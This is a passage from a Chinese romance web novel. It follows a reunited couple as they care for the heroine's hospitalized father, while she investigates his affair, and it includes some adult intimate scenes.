后来家是强制的枷锁,家人要求他和周家瑜分手,表面上他和家人的相处方式好像还和之前一样,但是因为被迫分手这件事他们有了很大的隔阂。 母亲去世,父亲再婚,之前的那个家已经不存在了。 现在他和周家瑜在一起,两个人一起吃着自己做的晚餐,一种熨帖的踏实感充盈着全身。 吃完饭收拾完,两个人一起坐在沙发上,茶几上摆着一盘软甜的哈密瓜,周家瑜吃着哈密瓜,手指回着都姿的微信,陶舒朗因为生病,其实没有什么胃口,吃了两口就放下了,他身上披着一条毯子,眼睛一直看着身旁的人。 周家瑜回完信息一转头看见他专注的眼神,他没有移开视线,还是在看着她,两个人对视了一会,这时候烘干机响了,周家瑜起身去拿里面的四件套。 两个人一起铺了床单,换了枕套,换完床品之后,卧室里的大床看上去更好睡了。 陶舒朗问她,“我这会能不能先躺一会?” “你随意。” 他本来打算在床上稍微躺一下,结果又迷糊地睡着了,再次醒来的时候周家瑜坐在身侧,正在看手机,侧颜看上去还是让人心动,但是神情有点冷漠,看上去百无聊赖。 他看了一会,发现她一直是那个表情,手指在屏幕上不断滑动。 “几点了?”他发出声音。 坐着的周家瑜像一副泥塑的画突然有了灵气,她转头看陶舒朗,已经自动地换了表情。 她低头看陶舒朗,被他眼里暗藏的痛意怔住。 过了几秒她找到自己的声音,“怎么了?这会很不舒服吗?” 陶舒朗想一直看着周家瑜,这是他三年来一直梦寐以求的时刻,但这会他很不舒服,胸口的酸涩呈射线状分布,胸口的闷痛感越来越严重。 他闭上眼睛摇了摇头,自己有两年多没有感冒过了,上一次感冒是跟周家瑜分手之后,因为心里承受极限超过负荷,所以身体也垮了。 这次感冒也是。 知道自己不在她身边时她的遭遇,这种感受让他难以承受,她说她自己的人生自己负责,跟他没有关系,与其说是一种安慰,倒不如说是一种划清界限。 三年听上去好像时间不长,但是在时间的流逝中不知不觉或者后知后觉地很多事情都变了。 即使现在两个人又心照不宣地处在一起,但是她对自己的依赖已经不见了。 以前她真的是很会跟自己撒娇的人,陶舒朗也很吃她这一套。 现在她连跟自己说话都不由自主地戴上一层面具。 陶舒朗太懂这种感觉,因为他自己也是独自经历过黑暗挣扎的人。 他伸出手,握住周家瑜的手,他们两个人的手在被子下握在一起,越来越紧。 半夜陶舒朗起来喝水,发烧真的让他很渴,还有鼻子也不通气,睡前带上口罩才好一些,他打算在书房过一夜,周家瑜说书房的床太小了,还是在卧室睡吧。 “最近病毒很厉害,万一传染给你呢?” “我前一阵已经感冒过了,我猜多少也得有些抗体吧。” 陶舒朗喝完保温杯中的水,轻轻地放下杯子,他没有接着躺下继续睡,而是侧身看着旁边睡着的周家瑜。 她睡着后真的是很安静,很少翻身,没有梦话没有打呼,表情平静地沉浸式睡眠。 陶舒朗不知道自己看了多长时间,只在困得眼皮又打架的时候才继续躺下睡着了。 周家瑜醒来的时候发现自己窝在陶舒朗的怀里,后背贴着他热力惊人的胸膛,她向后伸手摸了摸他的额头,已经不热了。 陶舒朗下意识地把怀里的人抱得更贴近自己,两个人像两只汤匙合在一起。 清晨周家瑜醒来的时候两个人已经分开睡了,周家瑜睡觉姿势跟平时一样,陶舒朗的身体离自己很近,呼吸直接扑到自己的脸上。 周家瑜对一大早呼吸别人的二氧化碳没兴趣,就向床边挪,结果陶舒朗身体跟有雷达一样,也跟着过来了。 她直接坐起来,用手掰着他的脸,准备给它换个方向。 就在这时候,被掰着脸的人醒了,两个人四目相对。 都睡眼朦胧。 陶舒朗过了几秒钟问身上的人,“怎么了?” “你睡觉的时候冲着我呼气。” 他脸上的表情好像有点抱歉,但是眼里却有快乐的光一闪而过。 周家瑜再看的时候他表情已经恢复正常,她以为自己刚才看花了眼。 “抱歉,那我换个位置。” 接着他问,“要不要我抱着你睡?” 说话的语气让周家瑜想起小时候妈妈对她说话的样子。 “我自己睡。” 抱着睡只在影视作品中才有吸引力,实际中真的会胳膊麻,耳朵麻,各种麻,自己睡觉自由自在。 第二天陶舒朗已经好了大半,周家瑜给他留了一把钥匙,她准备出门 的时候转身一看陶舒朗也已经穿戴整齐了。 他说,“我送你去上班。” “我坐地铁其实很方便。” “最近流感严重,还是少坐公共交通。” 今天早上路况很好,一路遇见不少绿灯,红灯也没有等多长时间,简直是运气爆棚。 周家瑜在公司门口跟他挥手告别,陶舒朗降下车窗看着她走进办公楼,他抬头看了看公司名称,升上车窗后驱车离开。 十五分钟后,李牧推开茶室的门走进来,茶室里已经有人坐在那,这会正在专心致志地泡茶。 屋里茶香袅袅。 李牧脱下外套,“你今天终于有时间跟我见面了。” 又看了看对方沉静的脸色,“啧,真的是有异性没人性。” 说完李牧都觉得自己的怨念有点重。 没办法,该说的还是要说,谁让有人太过分。 李牧坐下,这几天见了几个客户,有些忙,再看看眼前人悠哉的样子,心里难免有些落差。 “你这富贵闲人做的不错。” 陶舒朗看了李牧一眼,“有钱说不上,闲更是没有。” 李牧对于对方的谦虚不予置评,“你现在是不是有时间就来江城?” 被问的人喝了一口茶,点点头。 李牧调侃着说,“当年同学时你那学霸样子,谁知道以后谈恋爱会是个恋爱脑呢。” 陶舒朗在想,自己恋爱脑吗,他并不觉得,他如果恋爱脑,当年可能无论如何也不会分手,他当时在母亲的生命和自己的感情之间做选择,他那时候好像只有一个选择。 之后的三年他都在被这个选择反噬。 李牧看他的表情就知道对方不认可自己的这个评判,他又拿出证据,“把前女友招进自己投资的公司,这个不算吗?” 第24章 第24章让整个世界颠倒 陶舒朗觉得自己不需要回答这个问题,周家瑜在大学时绩点很高,在系里是前几名,专业素质很强,又在外企待过几年,她能来这个公司上班是他的荣幸。 求之不得。 两人交谈间,李牧问,“既然周家瑜在这里,你又放不下她,可以考虑来江城上班或者辞职直接来公司。” “你们两个在一个城市,不是更好吗?” 不知道是不是独自在黑暗中蹚过一条河,让陶舒朗有了雏鸟情节。 他所在的医院是关城市人民医院,一般这个名字的都是市里最好的医院,关城城市不大,常住人口五百多万,医院平时是很忙,但是来医院的人如果诊出什么大病,都会选择去江城或者直接去北京的大医院继续治疗。 城市不大,资源有限制。 来江城当医生收入还有资源都会上一个台阶。 陶舒朗之前和周家瑜恋爱时,两个人只要有时间就会在一起,就连一起泡图书馆都很有意思,每天早上陶舒朗早起去图书馆占座,周家瑜到了之后两个人在一起去学校北门外吃早餐。 三年之后再见,陶舒朗中间大部分时间都在独居,他不知道周家瑜是不是,但是从她的日常习惯可以看出,她现在也是比较讲究个人空间的人。 之前行得通的相处模式现在好像行不通了。 况且两个人之间还有未曾说出口的三年。 上午快下班的时候,周家瑜手机震动,她点开一看,是侦探发过来的几张照片,图片中李荣挺着大肚子,旁边站着周元明,两个人正在看楼盘。 看上去就像是万千普通家庭中的一家人。 第二天下午的时候周家瑜接到彭月华的电话,电话中彭月华说,“家瑜,我给你说件事,但是你不要着急。” 周家瑜看到来电的时候就已经起身从办公室走到步梯口,“妈,你说。” “你爸脑出血住院了,现在在重症监护室。” “医生怎么说?” “医生说毛细血管破裂,但出血量不小,只能看恢复情况。” 周家瑜回到办公室跟李牧请了假,实话实说,但请他对这件事保密,她不想麻烦更多的人。 她先请了一周,跟李牧说工作自己可以在医院完成,她搜了搜,脑出血病人如果请医院看护,家人可以做的事并不多。 李牧让她放宽心,不要牵挂工作上的事,先集中精力照顾家人。 周家瑜回住处收拾行李,她下楼的时候订好的出租车也刚好到达。 出租车是个女司机,车里有一股好闻的味道,话也不多,汽车疾驰在宽阔的高速公路上,道路两旁的反光条像萤火虫一样闪现又消逝。 周家瑜在后座系着安全带,眼睛闭着,她这会什么都不想,任由各种情绪和思绪穿过自己。 如果人生就像旅途就好了,出发点已知,目的地确定,车辆沿着既定的路线行驶,简单又不费脑子。 但人生的精彩之处好像也在于那些不可预料。 到医院后她给彭月华通电话,问她吃过没有,接着在医院附近一家本地连锁快餐店买了一些吃的。 进医院之前她看见医院高耸的住院楼上写着关城市人民医院,自己最近跟医院有缘。 她直接去了重症监护室外的走廊,外面已经天黑了,重症监护室外面已经铺满了床位,有简易的折叠床,有直接防潮垫加被褥的,彭月华在靠近消防栓的角落里挤到了一个位置。 母女两个相对无言,一起坐在瑜伽垫上吃了晚饭。 吃完饭周家瑜去扔垃圾接热水,彭月华接着打电话,周元明脑出血这件事得通知重要的亲戚,万一人没了再通知,这件事就太突然了。 她在电话里说人现在在重症监护室,现在来了也看不到,今天已经晚了,晚上开车不安全,就不要来医院了。 话虽这么说,但很快就来了三四波亲戚,他们的脸上都带着不可思议和焦急,亲戚们说的话就像弹幕一样在周家瑜的眼前闪过。 “这么年轻,怎么就脑出血了呢?” “我上周路过元明的店,他看着精神头很好,像是有什么喜事。” “看来平时还得少抽烟喝酒阿。” “看店整天在那里坐着,久坐对身体不好,多能干的一个人啊。” “放宽心,他会康复的,还这么年轻。” 周家瑜在想,到底年轻的标准是什么呢,三十五岁就被裁员的人不少,再找到合适的工作很难,像是被整个世界淘汰。 一个人五六十突发疾病或者去世,就成了年纪轻轻。 陆陆续续的亲戚坐在一起闲聊,周家瑜凑到彭月华的耳边,“我爸的手机呢?” 彭月华像是突然想起这件事,“医生把他的随身衣物还有物品都装在一个袋子里给我了。” 她指了指消防栓上的那个袋子。 周家瑜在袋子里找到周元明的一串钥匙和手机,把它们放进自己包里。 周家瑜的小姑没上过班,一直做全职的家庭主妇,今年秋天唯一的儿子也考上大学去了外地,所以她现在有很多空闲时间,晚上想和彭月华一起在这里守夜。 彭月华坚持让她回家去。 周家瑜也被嘱咐回家好好休息。 周家瑜坐电梯到一层,在楼外的医院超市买了点东西,然后去了门诊楼,晚上正门已经关了,她从急诊的门进去,在一楼的导医台找到骨科所在的楼层。 进电梯之前她又戴上口罩,因为医院病毒多,还有一种奇怪的味道。 这里真的很忙,人来人往,有一种让人落地的踏实感。 骨科又分好几个科室和楼层,她找到骨关节科,走廊墙上贴着几排医生的照片,周家瑜站在照片墙前,很快就在第二排找到了陶舒朗,他眼睛直视着镜头,看上去专业又值得信赖。 眼神像一个有 故事的男人。 周家瑜找到办公室敲了敲门,无人应门,打开办公室里面也没人。 她在步梯走廊里站定,给陶舒朗发了一条信息,“你不在办公室吗?” 过了一会周家瑜的手机响起来,陶舒朗的手机号一直没变,还是大学时的那个,她看着手机上闪烁的一串数字,让手机响了一会才接听,“喂。” “你现在在医院吗?” “嗯。” 周家瑜听见椅子被推开的声音,“你不要动,站在那等着我,我马上过去。” 挂掉电话,周家瑜的心开始跳起来,等待一个马上要来的人,久违的这种滋味。 过了几分钟,周家瑜听见从下面楼梯传来的脚步声,有人在走步梯上楼,脚步的声音越来越近。 她站在台阶的顶处向下看,上楼的人正匆匆走在拐弯处,陶舒朗余光中看见上面有人,抬眼一看,他的眼睛骤然像是盛满了星河。 他三步并做两步上了楼,低头笑着看着周家瑜,她很自然地环住了他的腰,穿着白大褂就是不一样。 让人更有破坏的欲望。 两个人无声地看着彼此,没人讲话,她嘴唇微张,他随即低头含住了她的嘴唇逗弄,唇舌一会纠缠,一会若即若离地蹭弄。 周家瑜推着他,把他推到靠墙站立,力道不小,砰得一声他靠在墙上,他唇角弯起来,眼睛里溢出笑意。 两个人像是找到一处安全的小港湾,与整个世界隔绝开来,他们紧紧地抱在一起深吻,像是在大学时路过小树林也可以牵手进去纠缠一番。 步梯走廊口会放大声音,这就是有些人喜欢在步梯下楼时唱歌的原因,声音会好听不少,这会两个人呼吸的声音时缓时急,听得周家瑜身体软成水。 陶舒朗的身材现在真的变得更好,她的手肆意地乱摸,陶舒朗自己是很享受被她上下其手,但眼看越来越离谱,他终于找回自己的定力和一点理智,按住她已经在自己衣服里的手。 他刚才上楼都不怎么喘,这会却喘得不成语调,“这里不行,有监控。” 说完他抬头看,周家瑜顺着他的目光发现头顶上的监控。 她的手在陶舒朗的身上继续乱摸,还安慰他,“我刚才上楼后洗手了。” 陶舒朗再次按住她作乱的手,“这里真不行。” 他低头在她耳边说,“我们真的有可能会出名。” 陶舒朗低头的时候,周家瑜趁势侧头含住了他的耳垂。陶舒朗抽了一口气,像是被点住了穴道,只更紧地抱住了她,像是要把她融入到自己身体里去。 周家瑜被箍得有点喘不过气,她继续咬着他的耳垂,低声跟他说话,不知道这个监控有没有收音功能,“我想要你。” 陶舒朗闻言眼神变得像一潭深水,要把她吸进去,他深呼吸了两次,声音都有些变走音了,“这里不行,回家给你,”接着又怕她作怪一样哄她,“嗯?” 他没想到周家瑜闻言直接握住了自己,她的手很恶劣得揉捏,语言也有点霸道,“不好,现在就要。” 陶舒朗像是被人捏住了大脑。 被人控制住大脑就失去了理智。 半小时后,陶舒朗在楼下看着周家瑜开车离去,彭月华让她开自己的车回去,车在大门口消失后他转身回了急诊室,坐在那好一会,才继续整理没写完的病历,熟练如他这会一连打错了好几个字。 周家瑜在开车回家的路上,刚刚一场欢好,身体还残留着激撞的麻感,多余的复杂情绪现在没有了,脑海中只剩下陶舒朗精壮身体的残影还有他带给自己的感受。 到了小区后已经没有什么车位了,周家瑜把彭月华的车停在楼后的几棵树下,停完她抬头看了看黑黢黢的树木枝干,今天是个可以看到星光的日子。 到家后她换上拖鞋就去开热水器,洗完手后再脱掉外套,在口袋里掏出一盒已经开封的计生用品扔在了沙发上。 洗澡的时候热水从上而下,流在自己的脚上,不久之前因为强烈的感官体验,她的脚趾蜷缩又张开,如此反复,身体不知道如何排遣才好。 此时此刻,周家瑜站在花洒下,她仰着脸,任由热水不断冲刷自己的脸庞和身体。 不能呼吸没关系。 让整个世界颠倒。 第25章 第25章无声的拥抱 第二天天还没亮周家瑜就起床,她穿着睡衣趿拉着拖鞋在厨房里做早饭,一会要去医院给彭月华送饭,顺便把她替换下来自己在那里守着。 她今天的计划是在医院待一上午,下午去周元明的店里看看,还要和侦探沟通一下,让那边盯紧李荣。 去医院之前她给车加满了油,七点多的时候到了医院,她在一楼提着保温饭盒和很多人一起等上行的电梯。 重症监护室外面的走廊里空气沉闷,彭月华脸色有点差,夜里走廊里人来人往她肯定睡不好。 周家瑜嘱咐她,“妈,吃完饭你回家去补觉,别我爸还没醒,你先垮掉了。” 彭月华笑了笑,“和你爸生活了这么些年我都没垮掉,放心吧,不会的。” 但彭月华需要回家洗澡,她是非常爱干净的人。 彭月华把饭盒带走了,临走时问周家瑜中午有没有想吃的菜。 除了周元明人在重症监护室,母女两个有了更多的相处时间。 周家瑜坐在角落的瑜伽垫上,她拿出湿纸巾把角角落落都擦了一遍,可能起不到什么作用,只起到心理安慰。 她坐在那里,从包里拿出一部手机,点开屏幕显示需要输入密码,她坐在那试了几个密码都不行。 坐了一个小时,带着耳机看了几个视频,她想下楼去走走,这会也想吃哈密瓜,顺便买点上来。 要走出住院部的时候有人在身后叫住了她。 “家瑜。” 是陶舒朗,他穿着剪裁利落的黑色羽绒服,人看上去有点疲倦,周家瑜知道他已经上了一天一夜的班。 两个人走出住院部大楼,周家瑜跟他说了周元明的情况。 昨晚陶舒朗忙完去值班室休息一会的时候,看着上面的床单自然地想起不久之前在上面发生的那场疾风骤雨般的欢爱。 两个人都用尽全力,极尽所能地去亲密,陶舒朗感觉自己的身体还有灵魂都在发抖。 眼下,他看着周家瑜安静的脸庞。 新的一天已经开始了,医院前面的大街上车来人往,他平复了一下自己的心情,在周家瑜毫无防备的时候把她搂进自己怀里。 周家瑜下意识地竟然没有去挣扎,而是安静地靠在他的怀里,手也抚上了他的脊背。 她闭了闭眼睛,有时候拥抱比亲吻还要治愈。 两个人旁若无人地在医院大门口拥抱然后分开,陶舒朗去吃早饭,周家瑜去买水果。 回到重症监护室走廊,瑜伽垫旁边的病人家属正在收拾被子,原来是他们家的病人已经醒了,准备转入普通病房。 周家瑜坐在那里低着头用塑料叉子吃着哈密瓜,冬天吃感觉更好吃一些,突然余光里出现一双脚,周家瑜记得这个牌子,是足部医生推荐的鞋子。 当时陶舒朗在大学附属医院实习,每天要站很长时间,时间久了脚会痛,周家瑜就在网上做功课找舒适的鞋子,其中推荐度最高的就是这个牌子。 但是价格对于还是学生的他们来说有点高,当时陶舒朗跟她说这鞋子性价比不高。 现在他穿着这双性价比不高的鞋子,正低头看着她吃东西,手里还拎着两个袋子。 “给我让个地方。” 周家瑜往旁边挪了挪,他俯身坐在她身旁,从旁边抽出一张纸巾擦了擦她的嘴角,然后看着水果盒里的哈密瓜,“这瓜好吃吗?” “软甜的还是脆甜的?” 周家瑜还没回答的时候,他低头把她手里那块吃掉了,“很甜,有点凉,不要多吃。” 周家瑜已经吃了果盒的四分之一,直接把叉子给他,他又吃了一块也放下了。 周家瑜看他好像不是要走的样子,“你不回家休息吗?” 陶舒朗侧身看着她,“我昨天晚上睡了一会。” 一说到昨天晚上 ,某些被按压下去的记忆这会又浮现在两个人的脑海中,两人的视线撞在一起,她去看陶舒朗带来的袋子里有什么东西。 刚拎过来袋子,她的下巴就多了一只有力的手,那只手让她的脸朝向自己,他眼神深邃,低声问,“你还好吗?” 周家瑜点了点头。 她打开袋子,里面是一些吃的,水果坚果还有零食。 “你看看你喜欢吃什么,不喜欢吃的我来吃。” 周家瑜昨天晚上没有睡好,陶舒朗看出她的倦意,“我在这守着,你可以休息一会。” 她靠在他身上,眼前不断地人来人往,还有各种音量的说话声,陶舒朗低头看着她,握着她的手,倦意慢慢袭来,她闭上了眼睛。 周家瑜再次清醒的时候听见旁边有饭盒打开的声音,彭月华坐在她身边,“咪了多长时间?” “去洗洗手,起来吃饭。” 周家瑜起身在走廊里滑开手机,里面有陶舒朗发来的信息,“我刚离开,回家一趟。” 周家瑜不想耽误他的休息时间,“你在家好好休息,我下午出去办点事。” “好。” 周家瑜吃完午饭,离开医院直接去了周元明的店,中午的阳光很好,车里温度升高不用开暖气。 她到了店门口打开卷帘门,哗啦把门推上去,店里气味复杂,大多是货架上新旧货品的味道,虽然有阳光,屋里还是有点阴冷。 她把门打开通风,通完风开了空调,空调是老式的,在头顶上嗡嗡得响了一会才开始供暖。 货品架之间的过道比自己记忆中还要狭窄,她在店里转了一圈,看了看货品,房间虽然逼仄,但是货品摆放整齐,价格签也都是新换的。 努力工作是一份责任,努力为别的女人工作不值得原谅。 店里监控就在头顶上,她拿来一把椅子,在监控上套了一个不透光的黑塑料袋。 周家瑜把收银台的电脑开机,之前寒暑假她有时候会过来帮忙,那时候周元明负责进货,她负责整理货架上的物品,也会在群里发一些搞活动的商品和新品。 彭月华周末有时间也会来帮忙,店后面有个简易的小厨房,天气好的时候,一家三口会在门口支一张桌子一起吃饭。 那时候电脑的密码是什么来着,她想了想,前四位好像是周元明开始接手店铺的年份,后四位是当时的年份,她输入一串数字,进入了电脑桌面。 她先下载了杀毒软件,杀毒软件运行的时候她在玻璃柜下面找东西,找到了,周家瑜隔着两层纸巾把牛皮袋子中的照片拿出来。 是李荣和一个男的一起出入医院和住处的几张照片,男的是李荣肚中孩子的生父。 放大的高清图片上有几个清晰的指印,新照片一角还有几条严重的折痕,可以想象看到照片人的情绪变化。 周家瑜在店里待了将近两个小时,监控的储存期限是半个月,她把监控有筛选性地下载下来。 期间有人进店买东西,看到周家瑜吃着薯条看着电脑屏幕,看到她脸的时候被惊艳了一下。 “你是新来的店员吗?” “是。” “老周终于想开了,他一个月给你开多少工资?” “有基本工资,看销售额还有提成。” “老周有点鸡贼阿。” “谢谢。” 周家瑜走之前把今天的监控清空,带着包里的优盘离开了。 回家的路上,彭月华打来电话,她在电话那边语气平静,告诉周家瑜,“你爸醒了。” 周家瑜到了之后才知道医院病房紧张,需要等,需要找人才能尽快转病房。 周家瑜给陶舒朗发信息,“回家休息了吗?” “刚醒,准备弄点吃的。” “你爸怎么样?” “刚才醒了。” “要转病房吗?” “在等医生消息。” “嗯,我打电话问问同事。” 不一会,陶舒朗发来信息,“稍等,一会会有人去找你们。” 半小时后,周元明进了加护病房,他躺在病床上闭着眼睛,看上去脆弱又厌世,他的样子让周家瑜觉得很陌生。 人虽然醒了,但是身体还很虚弱,看护病人需要很大的精力,彭月华正在走廊里跟医生沟通二十四小时看护的事情。 周家瑜的手机响了,看到来电号码,她走到电梯口的窗边去接听。 “进病房了吗?” “刚刚住下。” “我一会给你手机上发几个看护的信息,这几个都不错,你们看着选。” 挂掉电话后,周家瑜和彭月华一起商量定了两个看护,十二个小时一个。 人醒了是好事,看护也已经上岗了,彭月华通知关系比较近的亲戚,姑姑这次说什么也要来陪床。 亲戚们带来的东西不少,病床周围和床底快摆满了,周家瑜和彭月华把大部分提下去装在后备箱里,留了一些水果和牛奶给看护吃。 周元明现在只能吃流食。 敲门声响起的时候,陶舒朗穿着藏蓝色的居家服,正站在厨房里整理刚才超市送过来的东西。 门打开,周家瑜站在门口,手里拎着一提牛奶和一个很大的果篮。 她的手都被勒红了,放下东西看了看自己白皙手指上的勒痕。 陶舒朗握住她的手揉了一会,帮助她促进血液循环,“怎么没让我下楼去接你。” 彭月华和周家瑜一起回来的,她需要回家拿些周元明需要用的,后备箱的东西周家瑜只留了两样,她喜欢吃水果,牛奶一般,想起来就喝一盒,一段时间不喝也完全想不起来。 这会,周家瑜坐在客厅柔软的沙发上,正在吃西瓜,果篮里有一只黄心的小西瓜。厨房里传来鲜香的味道,抽油烟机开着,陶舒朗在用平底锅煎虾仁, 她用叉子戳着一块西瓜走去厨房,递到陶舒朗嘴边,他从善如流地张开嘴吃了下去,眼睛一直看着锅里,手里的筷子不住地翻着虾仁。 多线任务还不忘嘱咐她,“马上就可以吃饭了,去把粥盛出来吧。” 人间烟火气,最抚凡人心。 饱餐一顿之后,医院里周元明那张厌世的病容已经是有点遥远的事了。 陶舒朗整理完厨房从书房里拿出订好的几张纸,周家瑜接过来,上面是脑出血病人康复时的注意事项。 她过了一遍,看不懂的标出来再问他。 看完之后,她把纸放在茶几上,支着胳膊问他,“当医生给别人治病什么感觉?” 陶舒朗想了想,“发现自己不会的东西越来越多。” 眼前的他一副谦虚内敛的自然样子,真的很撩动人心。 两个人并排坐在沙发上,周家瑜一点点地挪过去,靠在他的身上,整个过程,陶舒朗一直看着她有点笨拙又可爱的动作,他心里在享受她离自己越来越近的这个过程。 他的胳膊像是有了肌肉记忆,她一靠近,自己就不由自主地搂住了她。 周家瑜的手隔着居家服在他的胸口处滑动,陶舒朗的下巴在她的头顶蹭了两下,他低头嗅了嗅她的头发。 她有一种让他安心的味道。 第26章 第26章雪粒中的外星人 周元明住院的第五天晚上,周家瑜买了一些吃的送到医院,走到病房门口的时候,听见他和小姑的谈话。 “真的生病识人心,我这次生病家瑜都没有往家里拿钱。” 听到这句话,周家瑜有种被现实锋利的刀刃滑开的痛感和了悟。 周元明是有时候说话会不分场合的人,这会他在医院病房里堂而皇之地把自己家的隐私和不满说出来,虽然他们是亲兄妹,但是姑父和姑姑感情一直不错,姑父是比较精明的人,所以姑姑也比较会来事。 “现在和我们以前不一样了,现在都是老的贴补小的 ,再说你收入一直不错,报销后根本花不了多少,不要再计较这点小钱。” “再说家瑜请了这么多天假一直在医院陪你,江城生活成本高,你也要理解一下孩子的难处。” 其他的周元明应该选择性地耳聋没听进去,但他显然被那句自己的收入不错恭维到了,他带点得意地哼了一下。 世事无常,一切都在变化,有时候身处其中,不能挣脱的时候,好像只有接受。 周家瑜转身,发现陶舒朗就站在离自己一米远的地方。 不知道周元明刚才那番言论陶舒朗听到没有,对了,在三年前他就从他母亲口中知晓自己家里的复杂情况了。 周家瑜拎着东西抬脚要走,陶舒朗从她手中接过东西,低声说,“如果不想进去,东西先放在护士站吧。” 十分钟后,两个人坐在一家咖啡店里,因为是晚上,怕喝咖啡影响睡眠,周家瑜想喝的热可可也没点,两个人一人一杯洋甘菊茶。 关城冬天晚上好像没有什么夜生活,天黑得早,又冷,家里有暖气,舒适又自在,所以晚上八九点钟的时候路上就很少见行人了。 店里人不多。 在晚上看店正无聊的店员看来,一对外形亮眼并且登对的男女坐在离柜台最远的安静角落里,还没人说话。 店员已经在脑海中脑补出了好几个狗血的情节。 对于周元明自有的一套生活逻辑,周家瑜这几年已经深有体会,仔细想想,他说的好像也没错,父母生病,做子女的应该有所表示。 他脑出血第一天周家瑜赶到医院,第一件事就是给彭月华转了一笔钱,彭月华只说,住院花不到她的钱,后来她也一直没收,那笔钱转账到期就自动退回了。 隔阂会造成不少误会,她觉得也没必要去解释。 陶舒朗看她安静地看着杯中的花茶,好像没有想倾诉的欲望。 “父母我们不能去选择。” 他话音刚落,就见周家瑜看了他一眼,这一眼好像跨越三年的时间,如刀刻骨,让陶舒朗心悸。 周家瑜看着他笑了笑,“没办法的事。” 她放下手中搅拌方糖的汤匙,喝了一口可以安抚情绪的花茶,“所以要做一些让自己开心的事。” 第二天陶舒朗休班,和周家瑜去附近的城市出游,之前上大学的时候两个人假期也会一起出游,三年后,条件好了很多,可以开车自驾出游,可以预订更舒适的落脚处。 两个人去了离关城一个半小时的临市度假区民宿,民宿特色是泡山上温泉,但是到了之后气温突然骤降,两个人来之前查过天气预报,虽然已经带了厚衣服,但还是低估了降温的威力。 他们开车去了市中心的商场,重逢后陶舒朗难得有机会带着周家瑜逛街,两个人从头到脚置办了不少。 回到山上,两个人吃完午饭并肩走在民宿蜿蜒的小路上,天空这时候竟然飘起了雪花。 周家瑜伸出手,掌心捕捉到阵阵凉意。 陶舒朗跟她穿着同款羽绒服,站在她身旁,眼眸清亮,看着她精致有朝气的侧颜。 周家瑜红唇轻启,“开始下雪了。” “没想到今年在这里遇到了第一场雪,关城今年有没有下过雪?”她扭头看陶舒朗,才发现他沉稳而挺拔地站着,眼睛瞳仁黑又亮,在直直地看着自己。 “还没有。”他告诉她。 关城四季分明,每年冬季或早或晚都会下雪,但是今年好像有些反常,气温再低的时候也只是干冷,不见半点降雨或者下雪的迹象。 这会突然下雪,人又在山上,机会难得,两个人决定在民宿四处走走,陶舒朗作为骨科医生,下雪的时候不会爬山。 羽绒服拉上拉链戴上帽子像只豌豆射手,安全起见,两个人手牵着手走路,没走多久,眼前出现一片竹林。 雪刚开始下还只是雪粒,因为是冬季,竹叶的颜色不够苍翠,但也别有一番野趣,雪粒密集地落在竹叶上,发出沙沙的声音。 两人驻足听着。 周家瑜听着听着就闭上了眼睛,仰着头,因为羽绒服的造型,像一个外星人在寻找母星的信号,陶舒朗在旁边把这张照片拍下来。 拍完照他上前搂住她的肩膀,让她靠在自己怀里,两个人在飞舞的雪粒中一起看着眼前的这片竹林。 “这声音听起来好舒服,录下来当睡前白噪音不错。” 陶舒朗拿出手机录了一段,播放出来的声音小了不少,“需要专门的收音设备,网上应该有类似的白噪音,回去找找。” 周家瑜在他的怀里,两个人在下雪的山上,遗世独立,他觉得自己怀里抱着整个世界。 虽然寒冷,但是他的胸腔被一股暖意充盈,两个人都裹得严实,他只好用下巴去摩挲她的头顶。 周家瑜任由他紧紧抱着自己,过了一会她问他,“要不要亲一下?” 陶舒朗闻言嘴角弯起来的弧度越来越大,他胸腔震动,周家瑜转身就又被他紧紧拉到身前,两个人四目相对。 他拉开自己帽子上的拉链,动作不紧不慢,周家瑜听着拉链滑动的声音,身体产生酥麻的感觉,心里现在对亲嘴这件事很期待。 陶舒朗扯下自己头上的羽绒服帽子,他五官立体顺畅,形状好看的喉结滚动着,他把周家瑜的帽子向后半推,只露出她白皙清透的脸颊。 他一只手扶住她的后脑勺,一只劲手揽住她的腰把她向自己靠得不能再近。 周围是山风中不断变化着方向的雪,两个人在一片片的雪花中唇舌交缠。 外面雪花开始密集起来,室内温暖如春,傍晚光线有些昏暗,只听见有人在床上呢喃私语的声音。 下雪的黄昏无事可做,只适合谈情说爱。 周家瑜侧躺着,头埋进软软的枕头里,身体被身前一条有力的胳膊固定住,同时那只手在不断地作乱,慢慢地若即若离的撩拨。 有人用唇舌在不断地含吮自己的后颈和脊背。 她吸了一口气,抱怨道,“有点硌人。” 陶舒朗回答的时候气息还尚稳,脊背上的肌肉清晰地浮现又平复下去,他低头凑近她的耳朵问,“哪里?” 她用力掐了掐横在自己身前的胳膊,“这里。” 都掐不动。 杀伤力级别低,像被蚊子叮了一下,陶舒朗仍配合地在她耳边嘶了一声,并咬了咬她白润的耳垂。 在如置云端的感觉中她忍不住呢喃。 有人中意她无意识的呢喃,听得他头皮发麻,只能奋力做一场不知疲倦的终点冲刺。 一切终于平静之后,陶舒朗舒展地躺在床上,问趴在自己身上的人,“晚上想吃什么?” 接着传来慵懒的声音,“火锅。” 周家瑜趴在他的胸口处,耳朵贴着他的身体,可以听到他有力的心跳声,她闭着眼睛就想这样待着,但这会感到肚子饿得有点发慌。 “这会好饿,我可能会一口气吃下半头牛。” 陶舒朗笑起来,连带着胸腔震动,和周家瑜在一起他的身心都很快乐,想和她一直抱在一起不分开,想和她在一起开怀地大笑。 他自己也不知道怎么回事,和她在一起比和自己在一起要快乐很多。 第二天两个人返程回关城,短暂的度假是去放松,是给自己在生活中喘息的机会。 几天之后,周元明恢复良好出了院,这次脑出血没在身体上留下什么后遗症,至于在他的心里留下什么伤痛,那是他自己的问题。 唯一好像可以治疗的人李荣在周元明发现真相脑出血住院当天就离开了关城,衣服店铺房租刚交好一个季度的也不开门了,女儿急匆匆地休学,李荣离婚后一直住的公寓也大门紧闭。 她新找的男人开着周元明给她买的车带着他们母女离开了关城。 走的时候可能在埋怨命运不公,只怪周元明发现得还是早了一些,因为即将到手的房子又飞走了。 等周元明出院之后终于有气力再找人算账时, 才发现李荣所有的联系方式都把自己拉黑了。 周家瑜销假离开关城的前一晚,她回父母家吃饭,这次急病之后周元明在家休养,店暂时也没人看管,交给别人他也不放心。 他人虽然待在家里,但是在家里的存在感很低,他把自己整日关在卧室,早饭和晚饭,他和彭月华一起吃,跟之前他在家时一样,午饭自己解决,彭月华现在正常上班,中午他自己做或是叫外卖。 